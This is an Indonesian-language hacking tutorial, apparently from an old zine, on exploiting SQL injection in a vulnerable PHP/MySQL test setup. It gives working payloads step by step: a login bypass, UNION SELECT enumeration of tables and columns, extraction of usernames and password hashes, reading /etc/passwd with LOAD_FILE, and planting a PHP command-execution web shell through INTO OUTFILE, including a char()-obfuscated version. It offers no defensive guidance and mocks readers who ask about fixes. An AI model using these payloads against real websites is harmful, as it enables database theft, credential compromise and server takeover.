# I always said if i hate web hacking, sure it just waste my time # But it doesn't mean that i can't do a hacking through website. # This article presents to them [kiddie] who always ask how to # inject vulnerable website through SQL injection. Fuck this with # your brain son. Title : Exploiting SQL Injection Author : you-know-who-i-am @#$%!^&*()|@#$ --[1]-- Introduction Website merupakan media komunikasi yang saat ini sudah sangat banyak digunakan baik oleh personal, organisasi, maupun perusahaan. Penggunaan website sebagai media komunikasi tidak terlepas dari menjamurnya internet. Penggunaan media website cukup memberikan banyak keuntungan bagi organisasi maupun perusahaan, tetapi bisa menjadi ancaman tersendiri bagi asset organisasi atau perusahaan. Banyak sekali celah keamanan yang ditemukan pada aplikasi website memungkinkan pihak tidak bertanggung jawab dalam mencuri asset organisasi atau perusahaan. Beberapa celah keamanan website yang sangat populer adalah SQL injection, File Inclussion, Cross Site Scripting (XSS), Cross Site Request Forgery(CSRF), dan baru baru ini ditemukan celah client side yang cukup berbahaya yaitu Clickjacking. --[2]-- Review SQL Injection SQL injection merupakan serangan dengan memanfaatkan cacat programming pada aplikasi website untuk mengeksploitasi database server. Selama database server berbasiskan SQL terkoneksi ke website yang vulnerable, serangan SQL injection tetap bisa dilakukan tidak peduli bahasa pemrograman (CFM,ASP,PHP,JSP, dst) dan DBMS (Ms SQL, MySQL, Oracle, PostgreSQL, dst) yang digunakaan. SQL injection dilakukan dengan memanfaatkan inputan user yang tidak tervalidasi dengan baik. Pihak tidak bertanggung jawab bisa menginputkan meta karakter pada inputan user tersebut kemudian dieksekusi oleh website dan dikirim ke database. Database server memproses meta karakter tersebut sebagai query SQL yang wajar. Proses SQL injection biasanya memanfaatkan meta karakter dan logika SQL sehingga pihak tidak bertanggung jawab bisa memodifikasi query SQL semaunya. Akibat dari serangan SQL injection biasanya berupa pencurian record database yang cukup confidential seperti username, password, email, bahkan nomor kartu kredit. Selain itu SQL injection juga bisa dimanfaatkan untuk mencuri login admin dan melakukan take over server sepenuhnya. Sebagai proof of concept, saya mengujikan serangan SQL injection ini pada mesin Ubuntu 8.10 dilengkapi dengan Apache, PHP, dan MySQL. --[3]-- Server Configuration magic_quotes_gpc = Off Tidak ada security module pada apache. --[4]-- SQL injection in Form Login SQL injection pada form login merupakan tipe yang paling sederhana, walaupun demikian masih banyak sekali website yang vulnerable dengan celah keamanan ini. SQL injection ini dimanfaatkan untuk membypass proses login. Seorang attacker bisa login dengan username tanpa password bahkan tanpa username dan password. Untuk menjelaskan proses terjadinya serangan SQL injection tipe ini, berikut sebuah contoh code yang bisa dieksploitasi. login

Username   :
Password   :
     
You are login as " . $r->namaLengkap . "
\n"; }else{ die('
Sorry, login failed!
'); } ?> Saya menggunakan tabel 'tblUser' sederhana sebagai backend code di atas yang isinya sebagai berikut : +----+----------+----------------------------------+----------------+------------+------------------+ | id | username | password | namaLengkap | Alamat | Pekerjaan | +----+----------+----------------------------------+----------------+------------+------------------+ | 1 | admin | 0192023a7bbd73250516f069df18b500 | Administrator | Yogyakarta | IT Consultant | | 2 | anto | 01839822bfade9dd76dfeb165cd53e34 | Atik Pilihanto | Kebumen | Security Analyst | +----+----------+----------------------------------+----------------+------------+------------------+ Setalah semua disiapkan, saya mencoba melakukan proses login dengan membuka http://example.com/login.php Saya menggunakan username 'anto' dan password 'anto123' yang merupakan pasangan login valid. Output dibrowser sebagai berikut: "You are login as Atik Pilihanto" Kemudian saya menggunakan username 'admin' dan password 'apasaja' yang merupakan pasangan login tidak valid (password seharusnya admin123). Output dibrowser adalah "Sorry, login failed!" Celakanya parameter username dan password tidak disanitasi lebih dahulu sebelum diinputkan ke query MySQL. Seorang attacker bisa memanipulasi inputan login untuk membypass proses authentikasi, misalnya dengan username = admin' OR 'a'='a password = terserah Pasangan login ini bisa digunakan untuk membypass login 'admin' dan dianggap sebagai login valid. Output browser sebagai berikut: "You are login as Administrator" Proses ini bisa dijelaskan dengan menginputkan username dan password tersebut pada query MySQL doLogin.php menjadi: SELECT * FROM tblUser WHERE username = 'admin' OR 'a'='a' AND password = 'e00b29d5b34c3f78df09d45921c9ec47' Jika dianalisis query tersebut memberikan nilai TRUE untuk user 'admin', operasi dimulai dari operator AND (ingat operator AND lebih didahulukan dibanding OR layaknya perkalian terhadap penjumlahan) [ref.i ]. Terima kasih kepada seorang temen, PHP programmer, sekaligus dosen yang tidak bisa saya sebutkan namanya telah memberi ide mengenai "operator precendence". 'a'='a' AND password = 'e00b29d5b34c3f78df09d45921c9ec47' => TRUE AND FALSE hasilnya FALSE, kemudian: 'admin' OR FALSE hasilnya tentu saja adalah 'admin', sehingga ketika dimasukkan inputan username dan password seperti demikian bisa digunakan untuk membypass authentikasi. --[5]-- SQL injection in URI parameters SQL injection pada parameter URI jauh lebih banyak ditemukan dibandingkan pada form login. Bahkan sering ditemukan pada Content Management System (CMS) yang sudah mature sekalipun. Sayangnya SQL injection jenis ini lebih sulit untuk dieksploitasi bahkan kadang bisa dikatakan sangat sulit. Butuh imaginasi dan kreatifitas tinggi untuk mengeksploitasi beberapa jenis SQL injection pada parameter URI. Contoh code berikut digunakan untuk menampilkan sebuah berita dengan mengambil parameter dari URI. [news] " . $r->judul . "\n"; echo "
" . $r->isi . "

\n"; }else{ die('
Sorry, article is not found!
'); } }else{ echo "
This is homepage

\n"; } ?> Saya menggunakan tabel 'news' sederhana sebagai backend code di atas yang isinya sebagai berikut : mysql> select * from news; +----+---------------------+---------------------------------------------------------------------+ | id | judul | isi | +----+---------------------+---------------------------------------------------------------------+ | 1 | Facebook Hacked | Facebook Hacked days ago, so many personal information were stolen! | | 2 | Jakarta underground | Jakarta underground community make a nice party last night. | +----+---------------------+---------------------------------------------------------------------+ 2 rows in set (0.00 sec) Setelah semua disiapkan, saya merequest file news.php seperti berikut : http://example.com/news.php, maka pada browser ditampilkan "This is homepage" http://example.com/news.php?aid=1, maka pada browser ditampilkan "[news] Facebook Hacked Facebook Hacked days ago, so many personal information were stolen!" Siapapun bisa mengubah-ubah parameter "?aid=", celakanya variable $_GET['aid'] tidak disanitasi terlebih dahulu dan digunakan sebagai parameter untuk men-query tabel di database. Hal ini bisa dimanfaatkan oleh attacker untuk mengeksekusi sembarang perintah SQL sekehendaknya. Berikut ini step by step sederhana yang biasa digunakan oleh attacker untuk mencuri data pada server. (i). Pengujian apakah sebuah website vulnerable, bisa dilakukan dengan memanfaatkan logika AND. http://example.com/news.php?aid=1 AND 1=1-- Logika AND 1=1 memberikan nilai TRUE, sehingga browser menampilkan informasi sewajarnya untuk aid=1. http://example.com/news.php?aid=1 AND 1=0-- Logika AND 1=0 meberikan nilai FALSE, sehingga browser tidak menampilkan hasil untuk aid=1. Jika kondisi ini terjadi pada suatu website, ada kemungkinan website tersebut vulnerable dengan serangan SQL injection. (ii). Menentukan berapa jumlah field yang digunakan pada query SQL di file news.php dengan UNION SELECT. http://example.com/news.php?aid=1 UNION SELECT 1-- http://example.com/news.php?aid=1 UNION SELECT 1,2-- http://example.com/news.php?aid=1 UNION SELECT 1,2,3-- Pada request pertama dan kedua, browser menampilkan error menandakan jumlah field belum sama. Pada request ketiga browser menampilkan hasil yang sewajarnya untuk aid=1 yang menandakan jumlah field pada tabel adalah 3. (iii). Menentukan field mana saja yang ditampilkan di browser. http://example.com/news.php?aid=-1 UNION SELECT 1,2,3-- Pada kondisi ini diketahui bahwa field yang ditampilkan di website adalah field nomor 2 dan 3, hal ini diketahui dari output di browser sebagai berikut [news] 2 3 (iv). Menentukan user yang digunakan dan database tempat tabel disimpan. http://example.com/news.php?aid=-1 UNION SELECT 1,database(),user()-- Dari output dibrowser diketahui bahwa database yang digunakan adalah 'sqlpoc' dengan username 'root'. [news] sqlpoc root@localhost (v). User 'root' pada DBMS MySQL merupakan user yang memiliki access paling tinggi dan diizinkan menjalankan semua query SQL. Bagaimana jika anda tidak mendapatkan user 'root'? Walaupun banyak keterbatasan tetapi hampir semua user pasti mendapat akses ke query 'SELECT'. (vi). Masih dengan menggunakan UNION SELECT, dapatkan informasi tabel apa saja yang ada pada database 'sqlpoc' dengan meng-query record pada information_schema.tables sebagai berikut: http://example.com/news.php?aid=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()-- Dari hasil query ini diketahui bahwa ada dua buah tabel pada database 'sqlpoc' yaitu tabel 'news' dan tabel 'tblUser'. (vii). Selanjutnya saya ingin melihat isi 'tblUser', untuk itu saya harus mengetahui field apa saja pada tabel tersebut dengan cara meng-query information_schema.columns sebagai berikut: http://example.com/news.php?aid=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='tblUser'-- Dari hasil query ini diketahui bahwa ada enam buah field pada tabel 'tblUser' yaitu : id,username,password,namaLengkap,Alamat, dan Pekerjaan. (viii). Langkah terakhir adalah mendapatkan isi tabel 'tblUser'. Misal saya ingin tahu isi field username,password, dan nama lengkap maka: http://example.com/news.php?aid=-1 UNION SELECT 1,2,CONCAT_WS(0x2c,username,password,namaLengkap) FROM tblUser-- http://example.com/news.php?aid=-1 UNION SELECT 1,2,CONCAT_WS(0x2c,username,password,namaLengkap) FROM tblUser WHERE username!='admin'-- Output hasil query ini adalah: admin,0192023a7bbd73250516f069df18b500,Administrator anto,01839822bfade9dd76dfeb165cd53e34,Atik Pilihanto (ix). Selain digunakan untuk melakukan pencurian record database, SQL injection pada PHP MySQL juga bisa digunakan untuk melakukan pembacaan file, contohnya: http://example.com/news.php?aid=-1 UNION SELECT 1,2,LOAD_FILE('/etc/passwd')-- Dari hasil query ini, pada browser akan ditampilakn isi file /etc/passwd. LOAD_FILE() bisa digunakan selama user yang meng-query memiliki akses FILE. (x). SQL injection juga bisa digunakan untuk meletakkan backdoor web shell. Untuk pembuatan backdoor web shell dibutuhkan direktori yang bisa ditulisi oleh user MySQL dan bisa diakses via web. Biasanya harus pada direktori dengan permisi 777. Misalnya direktori /var/www/html/images bisa ditulisi oleh user MySQL maka backdoor web shell bisa dibuat dengan http://example.com/news.php?aid=-1 UNION SELECT "",2,3 INTO OUTFILE '/var/www/html/images/bd.php' Jika gagal gunakan kreatifitas anda, misalnya query di atas bisa diubah menjadi http://example.com/news.php?aid=-2 UNION SELECT 1,1,CONCAT(char(0x3c),char(0x3f),char(0x70),char(0x68),char(0x70),char(0x20),char(0x73),char(0x79),char(0x73),char(0x74),char(0x65),char(0x6d),char(0x28),char(0x24),char(0x5f),char(0x47),char(0x45),char(0x54),char(0x5b),char(0x27),char(0x63),char(0x6d),char(0x64),char(0x27),char(0x5d),char(0x29),char(0x3b),char(0x20),char(0x3f),char(0x3e)) INTO OUTFILE '/var/www/html/images/a.php'-- Backdoor web shell kemudian bisa diakses sebagai berikut (misalnya mengeksekusi perintah 'id') http://example.com/images/bd.php?cmd=id Sebuah catatan, kadang proses injeksi query SQL bisa di terminate dengan /* yang membuat semua karakter dibelakang tanda tersebut menjadi sebuah comment. Mudah-mudahan pembahasan yang cukup sederhana ini bisa membuka pemahaman bagi mereka yang sedang belajar SQL injection. Please, don't ask me again about this material! --[6]-- Close Word It's done in exploiting, how to fix them? patch your brain first then ask the google! --[7]-- Referensi [ref.i] http://dev.mysql.com/doc/refman/5.0/en/operator-precedence.html